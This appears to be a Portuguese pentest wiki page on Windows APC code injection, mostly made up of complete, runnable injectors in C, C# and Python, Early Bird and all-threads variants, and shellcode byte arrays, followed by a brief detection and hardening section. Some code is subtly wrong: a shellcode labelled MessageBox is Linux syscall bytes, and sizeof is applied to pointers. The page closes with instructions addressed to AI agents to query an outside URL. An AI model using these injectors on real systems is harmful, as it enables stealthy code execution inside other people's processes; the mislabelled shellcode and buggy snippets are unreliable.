# APC Code Injection

## 📑 **Índice**

1. [Fundamentos do APC Code Injection](#-fundamentos-do-apc-code-injection)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Injeção](#-técnicas-de-injeção)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do APC Code Injection**

### **O que é APC (Asynchronous Procedure Call)?**

APC (Asynchronous Procedure Call) é um mecanismo do Windows que permite que funções sejam executadas de forma assíncrona no contexto de um thread específico. APCs são enfileiradas em um thread e executadas quando o thread entra em um estado de alerta (alertable state).

### **Como o APC Injection Funciona?**

```mermaid
graph TD
    A[Atacante] --> B[Obtém Handle do Processo Alvo]
    B --> C[Aloca Memória no Processo Alvo]
    C --> D[Escreve Shellcode na Memória]
    D --> E[Encontra Thread no Processo]
    E --> F[QueueUserAPC para a Thread]
    F --> G[Thread entra em Alertable State]
    G --> H[Shellcode é Executado]
```

### **Estados de Thread para APC**

```c
// Threads executam APCs quando entram em estados de alerta
// Estados que permitem execução de APC:
// - Alertable Wait (WaitForSingleObjectEx, WaitForMultipleObjectsEx)
// - SleepEx
// - SignalObjectAndWait
// - MsgWaitForMultipleObjectsEx
// - KeWaitForSingleObject (kernel mode)
```

### **Vantagens do APC Injection**

| Vantagem                         | Descrição                                   |
| -------------------------------- | ------------------------------------------- |
| **Evita Criação de Thread**      | Não cria threads remotas (menos detectável) |
| **Execução em Thread Existente** | Usa threads já existentes no processo alvo  |
| **Mais Furtivo**                 | Menos chamadas de API suspeitas             |
| **Menos Recursos**               | Não requer criação de novos objetos         |

***

## 🏗️ **Arquitetura e Mecanismos**

### **API Core para APC Injection**

```c
// APIs principais
HANDLE OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
LPVOID VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteAddr, shellcode, size, NULL);
QueueUserAPC(pAPC, hThread, (ULONG_PTR)remoteAddr);
```

### **Tipos de APC**

```c
// APC por modo de execução
#define APC_USER_MODE    0  // Executado em user mode
#define APC_KERNEL_MODE  1  // Executado em kernel mode

// APC por tipo
// - Kernel APC: Executadas em IRQL APC_LEVEL
// - User APC: Executadas em user mode quando thread alertável
// - Special User APC: Executadas mesmo em threads não alertáveis
```

### **Fluxo de Execução**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Processo Alvo
    participant T as Thread Alvo

    A->>P: Abre processo (OpenProcess)
    A->>P: Aloca memória (VirtualAllocEx)
    A->>P: Escreve shellcode (WriteProcessMemory)
    A->>T: Encontra thread (CreateToolhelp32Snapshot)
    A->>T: QueueUserAPC(shellcode, thread)
    
    Note over T: Thread continua executando
    Note over T: Thread entra em estado alertável
    T->>T: Executa APC
    T->>T: Executa shellcode
```

***

## ⚔️ **Técnicas de Injeção**

### **1. APC Injection Básico**

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Shellcode básico (MessageBox)
unsigned char shellcode[] = 
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff"
"\x48\xbb\x72\x61\x72\x2e\x65\x78\x65\x00\x50\x48\x89\xe2\x48\x83\xec"
"\x20\x48\x89\xe1\x48\x31\xc0\x50\x51\x52\x48\xb9\x63\x6d\x64\x2e\x65"
"\x78\x65\x00\x51\x48\x89\xe1\xff\xd0\x48\x83\xc4\x28\xc3";

DWORD FindThread(DWORD pid) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return tid;
}

BOOL APCInject(DWORD pid) {
    // Abrir processo
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória no processo alvo
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), 
                                          MEM_COMMIT | MEM_RESERVE, 
                                          PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Escrever shellcode
    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, 
                            sizeof(shellcode), NULL)) {
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Encontrar thread
    DWORD tid = FindThread(pid);
    if (!tid) {
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Abrir thread
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, 
                                FALSE, tid);
    if (!hThread) {
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // Enfileirar APC
    if (QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0)) {
        printf("[+] APC enfileirado com sucesso!\n");
    }
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

int main() {
    DWORD pid = 0;
    printf("PID do processo alvo: ");
    scanf("%lu", &pid);
    
    if (APCInject(pid)) {
        printf("[+] Injeção concluída!\n");
    } else {
        printf("[-] Falha na injeção\n");
    }
    
    return 0;
}
```

### **2. APC Injection via Thread Suspension**

```c
// Técnica avançada: suspender thread, injetar APC, retomar
BOOL APCInjectWithSuspend(HANDLE hProcess, HANDLE hThread, LPVOID shellcode) {
    // Suspender thread
    SuspendThread(hThread);
    
    // Alocar e escrever shellcode
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
    
    // Enfileirar APC
    QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
    
    // Retomar thread
    ResumeThread(hThread);
    
    return TRUE;
}
```

### **3. APC Injection via Alertable Wait**

```c
// Forçar thread a entrar em estado alertável
// Criar thread no processo alvo que chama SleepEx
BOOL CreateAlertableThread(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // Alocar memória para código que chama SleepEx
    LPVOID remoteCode = VirtualAllocEx(hProcess, NULL, 1024,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    
    // Código: SleepEx(INFINITE, TRUE)
    BYTE alertableCode[] = {
        0x6A, 0x01,           // push 1 (TRUE)
        0x68, 0xFF, 0xFF, 0xFF, 0xFF, // push 0xFFFFFFFF (INFINITE)
        0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, // call SleepEx
        0xC3                  // ret
    };
    
    WriteProcessMemory(hProcess, remoteCode, alertableCode, 
                       sizeof(alertableCode), NULL);
    
    // Criar thread executando código alertável
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)remoteCode,
                                        NULL, 0, NULL);
    
    // Agora pode injetar APC nesta thread
    return TRUE;
}
```

### **4. Early Bird APC Injection**

```c
// Técnica "Early Bird" - injetar antes da thread principal começar
BOOL EarlyBirdAPCInject(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // Alocar e escrever shellcode
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
    
    // Criar thread em estado suspenso
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)remoteBuffer,
                                        NULL, CREATE_SUSPENDED, NULL);
    
    // Enfileirar APC
    QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
    
    // Retomar thread
    ResumeThread(hThread);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Shellcode de Exemplo**

```c
// Shellcode para MessageBox + ExitProcess
unsigned char messagebox_shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x69\x6e\x69\x6e"
"\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77"
"\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31"
"\xc9\x41\x50\x41\x50\x52\x41\x51\x41\x51\x48\x31\xc0\x51\x48"
"\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x89\xe2\x56\x48"
"\x31\xff\x57\x57\x41\xba\x2e\x65\x73\x73\xff\xd5\xcc";

// Shellcode para execução de calc.exe
unsigned char calc_shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50"
"\x48\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48"
"\x31\xc0\xb0\x3b\x0f\x05";
```

### **Enumeração de Threads**

```c
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

std::vector<DWORD> GetAllThreads(DWORD pid) {
    std::vector<DWORD> threads;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        THREADENTRY32 te = { sizeof(THREADENTRY32) };
        if (Thread32First(hSnapshot, &te)) {
            do {
                if (te.th32OwnerProcessID == pid) {
                    threads.push_back(te.th32ThreadID);
                }
            } while (Thread32Next(hSnapshot, &te));
        }
        CloseHandle(hSnapshot);
    }
    
    return threads;
}

// Injetar em todas as threads do processo
void InjectAllThreads(DWORD pid, LPVOID shellcode) {
    std::vector<DWORD> threads = GetAllThreads(pid);
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
    
    // Alocar shellcode uma vez
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);
    
    // Enfileirar APC em cada thread
    for (DWORD tid : threads) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
        if (hThread) {
            QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
            CloseHandle(hThread);
        }
    }
    
    CloseHandle(hProcess);
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

class APCInjection
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, 
                                         uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                          byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool Thread32First(IntPtr hSnapshot, ref THREADENTRY32 lpte);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool Thread32Next(IntPtr hSnapshot, ref THREADENTRY32 lpte);
    
    [StructLayout(LayoutKind.Sequential)]
    public struct THREADENTRY32
    {
        public uint dwSize;
        public uint cntUsage;
        public uint th32ThreadID;
        public uint th32OwnerProcessID;
        public int tpBasePri;
        public int tpDeltaPri;
        public uint dwFlags;
    }
    
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint THREAD_SET_CONTEXT = 0x10;
    const uint TH32CS_SNAPTHREAD = 0x00000004;
    
    // Shellcode para MessageBox
    static byte[] shellcode = new byte[] {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63, 
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31, 
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48, 
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static uint FindFirstThread(int pid)
    {
        IntPtr hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (hSnapshot == IntPtr.Zero) return 0;
        
        THREADENTRY32 te = new THREADENTRY32();
        te.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32));
        
        if (Thread32First(hSnapshot, ref te))
        {
            do
            {
                if (te.th32OwnerProcessID == pid)
                {
                    CloseHandle(hSnapshot);
                    return te.th32ThreadID;
                }
            } while (Thread32Next(hSnapshot, ref te));
        }
        
        CloseHandle(hSnapshot);
        return 0;
    }
    
    static bool Inject(int pid)
    {
        // Abrir processo
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if (hProcess == IntPtr.Zero) return false;
        
        // Alocar memória
        IntPtr remoteBuffer = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length,
                                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (remoteBuffer == IntPtr.Zero) return false;
        
        // Escrever shellcode
        IntPtr bytesWritten;
        bool success = WriteProcessMemory(hProcess, remoteBuffer, shellcode, 
                                           (uint)shellcode.Length, out bytesWritten);
        if (!success) return false;
        
        // Encontrar thread
        uint tid = FindFirstThread(pid);
        if (tid == 0) return false;
        
        // Abrir thread
        IntPtr hThread = OpenThread(THREAD_SET_CONTEXT, false, tid);
        if (hThread == IntPtr.Zero) return false;
        
        // Enfileirar APC
        uint result = QueueUserAPC(remoteBuffer, hThread, IntPtr.Zero);
        
        // Limpeza
        CloseHandle(hThread);
        CloseHandle(hProcess);
        
        return result != 0;
    }
    
    static void Main(string[] args)
    {
        Console.Write("PID do processo alvo: ");
        int pid = int.Parse(Console.ReadLine());
        
        if (Inject(pid))
        {
            Console.WriteLine("[+] Injeção APC realizada com sucesso!");
        }
        else
        {
            Console.WriteLine("[-] Falha na injeção");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# apc_injection.py

import ctypes
import struct
from ctypes import wintypes

# Windows API definitions
kernel32 = ctypes.windll.kernel32

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
THREAD_SET_CONTEXT = 0x10
TH32CS_SNAPTHREAD = 0x00000004

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

class THREADENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize", wintypes.DWORD),
        ("cntUsage", wintypes.DWORD),
        ("th32ThreadID", wintypes.DWORD),
        ("th32OwnerProcessID", wintypes.DWORD),
        ("tpBasePri", ctypes.c_long),
        ("tpDeltaPri", ctypes.c_long),
        ("dwFlags", wintypes.DWORD)
    ]

def find_first_thread(pid):
    """Encontrar primeira thread do processo"""
    hSnapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
    if hSnapshot == -1:
        return 0
    
    te = THREADENTRY32()
    te.dwSize = ctypes.sizeof(THREADENTRY32)
    
    if kernel32.Thread32First(hSnapshot, ctypes.byref(te)):
        while True:
            if te.th32OwnerProcessID == pid:
                kernel32.CloseHandle(hSnapshot)
                return te.th32ThreadID
            if not kernel32.Thread32Next(hSnapshot, ctypes.byref(te)):
                break
    
    kernel32.CloseHandle(hSnapshot)
    return 0

def inject_apc(pid):
    """Executar APC injection"""
    
    # Abrir processo
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not hProcess:
        print("[-] Falha ao abrir processo")
        return False
    
    # Alocar memória
    remoteBuffer = kernel32.VirtualAllocEx(
        hProcess, None, len(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    )
    
    if not remoteBuffer:
        print("[-] Falha ao alocar memória")
        kernel32.CloseHandle(hProcess)
        return False
    
    # Escrever shellcode
    bytesWritten = wintypes.SIZE_T(0)
    success = kernel32.WriteProcessMemory(
        hProcess, remoteBuffer, shellcode,
        len(shellcode), ctypes.byref(bytesWritten)
    )
    
    if not success:
        print("[-] Falha ao escrever shellcode")
        kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
        kernel32.CloseHandle(hProcess)
        return False
    
    # Encontrar thread
    tid = find_first_thread(pid)
    if not tid:
        print("[-] Nenhuma thread encontrada")
        kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
        kernel32.CloseHandle(hProcess)
        return False
    
    # Abrir thread
    hThread = kernel32.OpenThread(THREAD_SET_CONTEXT, False, tid)
    if not hThread:
        print("[-] Falha ao abrir thread")
        kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
        kernel32.CloseHandle(hProcess)
        return False
    
    # Enfileirar APC
    result = kernel32.QueueUserAPC(remoteBuffer, hThread, 0)
    
    # Limpeza
    kernel32.CloseHandle(hThread)
    kernel32.CloseHandle(hProcess)
    
    if result:
        print("[+] APC enfileirado com sucesso!")
        return True
    else:
        print("[-] Falha ao enfileirar APC")
        return False

if __name__ == "__main__":
    pid = int(input("PID do processo alvo: "))
    inject_apc(pid)
```

***

## 🔍 **Detecção e Monitoramento**

### **Eventos a Monitorar**

```yaml
Eventos de Processo:
  - Event ID 4688: Criação de processo
  - Event ID 1: Process creation (Sysmon)

Eventos de Thread:
  - Event ID 8: CreateRemoteThread (Sysmon)
  - Event ID 10: ProcessAccess (Sysmon)

Eventos de Memória:
  - Event ID 10: ProcessAccess (Sysmon)
  - Event ID 7: Image loaded

Eventos de API:
  - QueueUserAPC chamadas suspeitas
  - VirtualAllocEx de processos remotos
  - WriteProcessMemory de processos remotos
```

### **Regras de Detecção (Sigma)**

```yaml
title: APC Injection Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta possível APC injection
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        TargetImage: '*\*'
        CallTrace: '*ntdll.dll*'
    condition: selection
```

### **Ferramentas de Detecção**

```powershell
# Monitorar chamadas de API via API Monitor
# Monitorar processos com Process Monitor
# Detectar injeção com Process Hacker

# PowerShell para detectar injeção
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $_.Modules
        if ($modules.Count -gt 100) {
            Write-Host "[!] Possível injeção em $($proc.Name)" -ForegroundColor Red
        }
    } catch {}
}
```

***

## 🛡️ **Mitigação e Prevenção**

### **Hardening do Sistema**

```powershell
# Configurar ASLR (Address Space Layout Randomization)
Set-ProcessMitigation -System -Enable ASLR

# Configurar CFG (Control Flow Guard)
Set-ProcessMitigation -System -Enable CFG

# Configurar DEP (Data Execution Prevention)
bcdedit.exe /set {current} nx AlwaysOn

# Configurar Code Integrity
# Windows Defender Application Control (WDAC)
```

### **Proteções de Processo**

```c
// Adicionar proteções ao processo
BOOL AddProtections(HANDLE hProcess) {
    PROCESS_MITIGATION_ASLR_POLICY aslr = {0};
    aslr.EnableBottomUpRandomization = 1;
    aslr.EnableForceRelocateImages = 1;
    SetProcessMitigationPolicy(ProcessASLRPolicy, &aslr, sizeof(aslr));
    
    PROCESS_MITIGATION_DEP_POLICY dep = {0};
    dep.Enable = 1;
    dep.Permanent = 1;
    SetProcessMitigationPolicy(ProcessDEPPolicy, &dep, sizeof(dep));
    
    return TRUE;
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules
  - Usar Windows Defender Application Control
  - Implementar Exploit Protection (EMET)
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar ASLR e DEP
  * [ ] Configurar CFG
  * [ ] Atualizar Windows regularmente
* [ ] **Aplicações**
  * [ ] Compilar com /DYNAMICBASE, /NXCOMPAT, /GUARD:CF
  * [ ] Implementar controle de integridade
* [ ] **Monitoramento**
  * [ ] Configurar Sysmon
  * [ ] Monitorar eventos 8, 10, 7
  * [ ] Alertar sobre CreateRemoteThread

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar processos alvo
  * [ ] Verificar privilégios
* [ ] **Execução**
  * [ ] Testar APC injection
  * [ ] Testar Early Bird
  * [ ] Testar com diferentes shellcodes
* [ ] **Validação**
  * [ ] Verificar execução do shellcode
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
APC Code Injection:
  ✅ Técnica furtiva de injeção de código
  ✅ Usa threads existentes no processo alvo
  ✅ Não cria threads remotas
  ✅ Executa em estado alertável da thread

Defesas essenciais:
  ❌ Monitorar chamadas de QueueUserAPC
  ✓ Habilitar ASLR e DEP
  ✓ Configurar Windows Defender
  ✓ Implementar Exploit Protection
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Usar Early Bird APC injection para melhor sucesso
   * Escolher threads em estado alertável
   * Testar diferentes tipos de shellcode
2. **Para Blue Teams**
   * Monitorar chamadas a QueueUserAPC
   * Configurar Sysmon para eventos 8 e 10
   * Implementar regras de detecção personalizadas


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/apc-code-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
